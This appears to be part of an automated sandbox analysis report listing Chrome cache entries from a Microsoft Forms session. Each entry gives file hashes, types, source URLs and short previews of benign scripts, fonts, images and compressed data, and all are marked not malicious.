SHA-512:	6DC48715275F4A916D6212FAB2427B50BDCB803D90EF180871620C5028DCAEAA708D4A0D811F10334394F33D914271A479111C917DC3680752389DEE45890C84
Malicious:	false
Reputation:	unknown
URL:	https://forms.office.com/pwa/en-us/app.webmanifest
Preview:	{"lang":"en-us","name":"Microsoft Forms","short_name":"Forms","icons":[{"src":"https://cdn.forms.office.net/images/pwa/forms-pwa-logo-192.png","sizes":"192x192","type":"image/png"},{"src":"https://cdn.forms.office.net/images/pwa/forms-pwa-logo-256.png","sizes":"256x256","type":"image/png"},{"src":"https://cdn.forms.office.net/images/pwa/forms-pwa-logo-512.png","sizes":"512x512","type":"image/png"}],"scope":"/","start_url":"/?pwa=1","display":"minimal-ui","theme_color":"#03787c","background_color":"#ffffff"}

Chrome Cache Entry: 86

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	37
Entropy (8bit):	3.040403544317301
Encrypted:	false
SSDEEP:
MD5:	3EACD0132310EA44CAD756B378A3BC07
SHA1:	E2216A7E9B73F5CB0279351C78CE61C33475CEA7
SHA-256:	BB229A48BEE31F5D54CA12DC9BD960C63A671F0D4BE86A054C1D324A44499D96
SHA-512:	BD9AB35DDE3A5242B04C159187732E13B0A6DA50DDCFF7015DFB78CDD68743E191EAF5CDDEDD49BEF7D2D5A642C217272A40E5BA603FE24CA676A53F8C417C5D
Malicious:	false
Reputation:	unknown
URL:	https://forms.cloud.microsoft/muid.gif?muid=38A4EA9411BD6D8826F0FF4215BD6601
Preview:	GIF89a.......!.......,...........L..;

Chrome Cache Entry: 87

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (35296), with no line terminators
Category:	downloaded
Size (bytes):	35318
Entropy (8bit):	4.783693763527761
Encrypted:	false
SSDEEP:
MD5:	6B3065D1A07299F78BEDA1836903C794
SHA1:	002AC4FE4E7EFFA7B90B24E28BB988A22A3CC54A
SHA-256:	755AE7F0722D0A106C0D43DE945B4DD4E100B178ED7AAB4885ADAFE43FC7F56F
SHA-512:	BF3C1A7DC9F27C177261CEAAF15643BC8DDEEF25AEE934B59A7B54135448C974B23480788953D91B4E45D7389319A02D6BC2829682F53F1E55A489FA8B2A815A
Malicious:	false
Reputation:	unknown
URL:	https://forms.office.com/cdn/scripts/dists/ls-response.en-us.b26195a5d.js
Preview:	window.FormsLsMap = (window.FormsLsMap \|\| {});window.FormsLsMap["en-us"]={"mdbicgo":"Required to answer","acmngdo":"This user is not currently restricted from using Microsoft Forms. No further action is needed..","pdnfcop":"Correct","gplbmcp":"Print response","pfjnaob":"Required","dlogacb":"Pause background music","oancfdj":"Play background music","pjgjcee":"Pause live background","dplcjia":"Play live background","giamlmc":"Please select at least {0} options.","ggbmbok":"Please select at most {0} options.","mbpambh":"Please select {0} options.","palclad":"Allow","pefpebc":"Back","ljngmfa":"Cancel","adhcmno":"Close","lelhaog":"Dismiss","lfignjp":",","ekdmdig":"More options","nekefda":"Next","fkcodff":"No","jljijgh":"Points","npbhaja":"Prefill","fookldf":"Preview","nfokege":"Skip","gacoblj":"Yes","glhpeoj":"Copilot Pro","nbfafnl":"Get Copilot Pro","jppmnpa":"Get started with ","jjkafmg":"Supercharge your creativity and productivity with Copilot, your everyday AI companion.","djeklgg":"

Chrome Cache Entry: 88

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (15336)
Category:	downloaded
Size (bytes):	15592
Entropy (8bit):	5.45705828855882
Encrypted:	false
SSDEEP:
MD5:	ECE28F60870E787CC0A06D854115FFCC
SHA1:	570D7763310A68476DFF2C21A7412BA7E54B1EE7
SHA-256:	925CB9DCAA655BB09470AC314542FC6166610070BF5E1258F260A16E42030542
SHA-512:	36632A191887E372C68A126527A1FADF599A282C372B3CC140386639D354C26FEC271E8BBD400E2719FE5AA0541AE65FC20DFE66EDD1A2CA60D4A667B6D0F398
Malicious:	false
Reputation:	unknown
URL:	https://forms.office.com/cdn/scripts/dists/light-response-page.chunk.lrp_post.boot.5a4aa08.js
Preview:	"use strict";(self.webpackChunk=self.webpackChunk\|\|[]).push([[294],{44330:function(n,e,r){function t(){return Date.now\|\|(Date.now=function(){return(new Date).getTime()}),Math.floor(Date.now())}r.d(e,{JY:function(){return t}})},96900:function(n,e,r){r.r(e),r.d(e,{BrandingFooter:function(){return N}});var t=r(34629),i=r(92831),o=r(48723),a=r(30062),u=r(97666),c=r(23084),l=r(70574),f=r(98765),s=r(83778),d=r(29383),p=r(38826),$=r(71201),_=r(44695),m=r(6134),v=r(97892),g=r(69455),h=r(18190),w=r(8484),b=r(70918),k=r(6637),x=function(n,e){return function(r,t){var i=t();return r((0,k.X)("Branding.Footer.M365.Click",{isShare:(0,v.Hc)(i),isPreview:(0,v.qx)(i),fullScreen:n,isFormRuntime:(0,b.G1)(i),pageType:e}))}},y=r(38599),M=r(17543),R=r(74371),S=r(32225),C=function(n,e,r,i){var o,u;return[{$r:{background:r,width:"100%","@media print":{background:d.O.$g,color:d.O.$i},paddingTop:0},$a:{width:"100%"},$cF:{width:"100%",lineHeight:"1.3",fontSize:12,color:d.O.$i,marginTop:0,marginBottom:4},$jx:{disp

Chrome Cache Entry: 90

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 7390
Category:	dropped
Size (bytes):	2407
Entropy (8bit):	7.900400471609788
Encrypted:	false
SSDEEP:
MD5:	9D372E951D45A26EDE2DC8B417AAE4F8
SHA1:	84F97A777B6C33E2947E6D0BD2BFCFFEC601785A
SHA-256:	4E9C9141705E9A4D83514CEE332148E1E92126376D049DAED9079252FA9F9212
SHA-512:	78F5AA71EA44FF18BA081288F13AD118DB0E1B9C8D4D321ED40DCAB29277BD171BBB25BA7514566BBD4E25EA416C066019077FAA43E6ED781A29ADB683D218E2
Malicious:	false
Reputation:	unknown
Preview:	...........Y=s.8......mr...f.y....8.R...l.Nk.l..?....{$.l\|e'zM.3...............S(..........O./......Mn.e..O..7.O.?=..?........../...~yy._t....8.a........~.....+..$..*..z..\....~..Jx\|............\|y...=................./.3....kN2...H...;<sy....H..?2..q5.0.0....f......L.^..v.W.L..7XCm8.I...6\.p.....O/%sX..I.......u............yE......$q....1/.....W....Zg...w..-..v....x...N)........R....c.W5.=...{_1_...+.#.......e...K..:..b.Ec...!...".I1../2X.....].i.sAF;^.1....1/UM.[r..d...>RX..U...<..1...V.\|.......X.jX:..0...9..F.KsT...{.6,.._Q..9.b...Q)..0.R.t.u.JN..u$V.%X.9k..t.."..Q.........y.V.Z$7.q.{......k.......W....5.x..K.."y...=......4...h\|!....r.."v\f`..c+.......b..hc.jn....0.&G..m.=.@..6../......6....tM^.&3.$......~.....m2...wFs..#5.Hy..?...r.p.O.X.'n...Z8L......7.;..QWGnr.sY..n...3.Jfq..+{m....\...X.q...0...0...........}}d...33.....Q...F$.8..v..UH&.H........0.q..n...q...F.Y7...u..B>..J.A.....$.,....w......Z..oe..w..%....$[+.......d...

Chrome Cache Entry: 91

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10017)
Category:	downloaded
Size (bytes):	10245
Entropy (8bit):	5.437589264532084
Encrypted:	false
SSDEEP:
MD5:	6C20A2BE8BA900BC0A7118893A2B1072
SHA1:	FF7766FDE1F33882C6E1C481CEED6F6588EA764C
SHA-256:	B1C42ACD0288C435E95E00332476781532ED002CAC6F3DCEE9110CED30B31500
SHA-512:	8F80AD8ADC44845D24E13D56738A2CA2A73EE6FCDC187542BA4AAEBBF8817935D053A2ACFB0D425B9CC0C582B5091E1C9FE16B90B3AA682187645067C267FC41
Malicious:	false
Reputation:	unknown
URL:	https://objects.githubusercontent.com/github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250422%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250422T090114Z&X-Amz-Expires=300&X-Amz-Signature=12f89cef05f42f51fc2fba37322c90276d7e8e9215c2ee77ca915869be2e9e79&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream
Preview:	//.// randexp v0.4.3.// Create random strings that match a given regular expression..//.// Copyright (C) 2016 by Roly Fentanes (https://github.com/fent).// MIT License.// http://github.com/fent/randexp.js/raw/master/LICENSE .//.!function(){var e="RandExp",t=function(){return function e(t,n,r){function o(s,i){if(!n[s]){if(!t[s]){var u="function"==typeof require&&require;if(!i&&u)return u(s,!0);if(a)return a(s,!0);var p=new Error("Cannot find module '"+s+"'");throw p.code="MODULE_NOT_FOUND",p}var h=n[s]={exports:{}};t[s][0].call(h.exports,function(e){var n=t[s][1][e];return o(n?n:e)},h,h.exports,e,t,n,r)}return n[s].exports}for(var a="function"==typeof require&&require,s=0;s<r.length;s++)o(r[s]);return o}({1:[function(e,t,n){function r(e){return e+(e>=97&&122>=e?-32:e>=65&&90>=e?32:0)}function o(){return!this.randInt(0,1)}function a(e){return e instanceof h?e.index(this.randInt(0,e.length-1)):e[this.randInt(0,e.length-1)]}function s(e){if(e.type===p.types.CHAR)return new h(e.value);if(e.

Chrome Cache Entry: 92

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 513
Category:	downloaded
Size (bytes):	276
Entropy (8bit):	7.316609873335077
Encrypted:	false
SSDEEP:
MD5:	4E3510919D29D18EEB6E3E8B2687D2F5
SHA1:	31522A9EC576A462C3F1FFA65C010D4EB77E9A85
SHA-256:	1707BE1284617ACC0A66A14448207214D55C3DA4AAF25854E137E138E089257E
SHA-512:	DFAD29E3CF9E51D1749961B47382A5151B1F3C98DEABF2B63742EB6B7F7743EE9B605D646A730CF3E087D4F07E43107C8A01FF5F68020C7BF933EBA370175682
Malicious:	false
Reputation:	unknown
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/arrow_left_43280e0ba671a1d8b5e34f1931c4fe4b.svg
Preview:	...........Q=o. ..+.......=t....E.k["...../g;n.,....{.......2....e.......J).8..).5.....>,.ih...^s...&M.Ta..m........C.N5.G.!.-...}.9.~........u.3..@i..qK.U.......E.........S.......A.....6...G..g...,f3g.5F..I...G@<..L.:`.N&.?R....d..(.7._....z.L.......s....

Chrome Cache Entry: 93

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	unknown
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 95

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (56644)
Category:	downloaded
Size (bytes):	419476
Entropy (8bit):	5.636340877881501
Encrypted:	false
SSDEEP:
MD5:	42BCCEBE8065BBC495746C6A26CCBB81
SHA1:	BB5A50F4313919787866517C94A8A6B9AC3385C3
SHA-256:	D297B8CF7E0061202BF354884D6CCA7FE4485D4F225229D37E21E28CE845FFA1
SHA-512:	FD12D05E8A49519B0834809FDCFA3E654F89987FDDD3EA81FFE6CEA4817304C00622D11B7E6045AC8D50BB65D986DA5A4903F5065EB77C61B1174A4EEB96FEB9
Malicious:	false
Reputation:	unknown
URL:	https://forms.office.com/cdn/scripts/dists/light-response-page.chunk.lrp_ext.24a3c2f.js
Preview:	(self.webpackChunk=self.webpackChunk\|\|[]).push([[579],{60687:function(n,e,t){"use strict";t.d(e,{C6:function(){return i},Cl:function(){return o},YH:function(){return u},aN:function(){return c},sH:function(){return a}});./! @azure/msal-common v13.3.0 2023-08-24 /./! **************************************************************************.Copyright (c) Microsoft Corporation...Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH.REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY.AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,.INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM.LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR.OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR.PERFORMANCE OF THIS SOFTWARE..******

Chrome Cache Entry: 96

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1556
Entropy (8bit):	5.299847638049462
Encrypted:	false
SSDEEP:
MD5:	2A58A0FCA9535D86CC157EF4D4AA4B75
SHA1:	9D3AEB8A90DCCCEFB01EB2D05F60725D7E861A10
SHA-256:	6ECC0DE34E8B83E14749701EA804C274D38A44B2EA2AC2446C98104DA6DA45A1
SHA-512:	7F6CCF4CA32824F078DE4FE953EE35A61649B0FA0D65A3ECD1D6E560D6CAD5D33BCADE46820F15AADBB44529B3C8EC9B9B660F01767F94CE5B00BAD4CEF657C2
Malicious:	false
Reputation:	unknown
URL:	"https://fonts.googleapis.com/css?family=Lato:400,700"
Preview:	/* latin-ext /.@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/lato/v24/S6uyw4BMUTPHjxAwXjeu.woff2) format('woff2');. unicode-range: U+0100-02BA, U+02BD-02C5, U+02C7-02CC, U+02CE-02D7, U+02DD-02FF, U+0304, U+0308, U+0329, U+1D00-1DBF, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;.}./ latin /.@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 400;. src: url(https://fonts.gstatic.com/s/lato/v24/S6uyw4BMUTPHjx4wXg.woff2) format('woff2');. unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;.}./ latin-ext */.@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 700;. src: url(https://fonts.gstatic.com/s/lato/v24/S6u9w4BMUTPHh6UVSwaPGR_p.woff2) format('woff2');. unicode-range: U+0100-02BA, U+02B

Chrome Cache Entry: 97

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 2905
Category:	dropped
Size (bytes):	1173
Entropy (8bit):	7.811199816788843
Encrypted:	false
SSDEEP:
MD5:	5C7ACF60A2ACAA5C54BF2B2EC6D484D8
SHA1:	F1837FD5DB6DAD498148D7D77438DE693114B042
SHA-256:	EE21196A4F5EF64135B7998E58F1E7210608674E3FDF97B328C1C237E3B184DB
SHA-512:	11516935B1C777D6457B7FB44235F8C8A73BA1313AC8607C16D342EECAE22AE5BFD702CE01DBB2DC63C3D480E89A689C7AA6CAC8D822E306B413534FEE770A77
Malicious:	false
Reputation:	unknown
Preview:	..........uV.n$7......iR.+..LN9.oA..5.......nx..S...l..%[..)..=.....z.?/.._......\|{8.4M........^.~w>=>......t.....~.M;.....,....n~}=-.7........U.<>=.._.O.....y9.>.....y...wR.`8..r..q$.....KR...X.....W.....$g'". W<..$..-.2.....h04.O...\|._../.6.)..ax..X...wzT.....2..7....1....C.@8B....d.M..KS8..>... .%=...q....yWF....\..kM.H....<..&.mM..s...%.'G.n..(..h.-.I.S.K...1;..:7.xdvP..y.]....Q$..4.@.2Fp ..Oe.......=.I........F......{....`.............uC..G.....'..E.....dR..g.(.+K.q...?...O.%.@.i..."n...1 .JTm.S..wM.,../.\|H..s.....C.=.B1(.B.f..:K.\.T....c..N...sT..D....T.=..Zt..M2.).FP.h.:.+A.. ^N-$..U.K..n.u.DZ...d.C....s.n.PI..@.4.pi....G..j.5.7l6....Q$...fs....uD......F...e%..}5.S.s.n".9...e&(_.=..oq..F%L...G].....b.`..hi.S.I.8..Y%hM.\|..W....jC.-a..'..%.r..W?...a...H...5.c......v.G..v.G.a....a/.LT.Fv......7.A...@.OcV.......6xcy,l[.wkP..-E...U..J.....1j....2....C+...?.I.Q.C.kM.n...j..5{HV)I...M.G2o......5.....E_..j.....D...^b..+.U..,K2

Static File Info

⊘No static file info